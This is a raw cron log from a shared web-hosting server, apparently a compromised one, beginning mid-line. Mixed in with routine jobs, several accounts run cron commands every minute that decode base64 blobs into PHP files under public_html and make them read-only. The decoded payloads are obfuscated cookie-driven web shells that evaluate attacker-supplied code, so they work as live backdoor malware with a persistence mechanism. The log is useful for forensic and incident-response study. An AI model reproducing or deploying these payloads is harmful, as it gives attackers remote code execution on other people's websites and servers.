"UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:51:01 medusa CROND[12467]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:51:01 medusa CROND[12468]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 05:51:01 medusa CROND[12469]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:51:01 medusa CROND[12470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:51:01 medusa CROND[12473]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:51:01 medusa CROND[12477]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:51:01 medusa CROND[12476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:51:01 medusa CROND[12479]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:51:01 medusa CROND[12481]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:51:01 medusa CROND[12475]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 05:51:01 medusa CROND[12489]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:51:01 medusa CROND[12498]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:51:01 medusa CROND[12499]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Apr 19 05:52:02 medusa CROND[4590]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:52:02 medusa CROND[4591]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:52:02 medusa CROND[4593]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:52:02 medusa CROND[4594]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:52:02 medusa CROND[4595]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:52:02 medusa CROND[4596]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Apr 19 05:52:02 medusa CROND[4598]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:52:02 medusa CROND[4604]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:52:02 medusa CROND[4610]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:52:02 medusa CROND[4611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:52:02 medusa CROND[4614]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:52:02 medusa CROND[4612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:52:02 medusa CROND[4617]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:53:01 medusa CROND[28599]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 05:53:01 medusa CROND[28618]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:53:01 medusa CROND[28650]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:53:01 medusa CROND[28667]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:53:01 medusa CROND[28668]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:53:01 medusa CROND[28669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:53:01 medusa CROND[28671]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:53:01 medusa CROND[28670]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
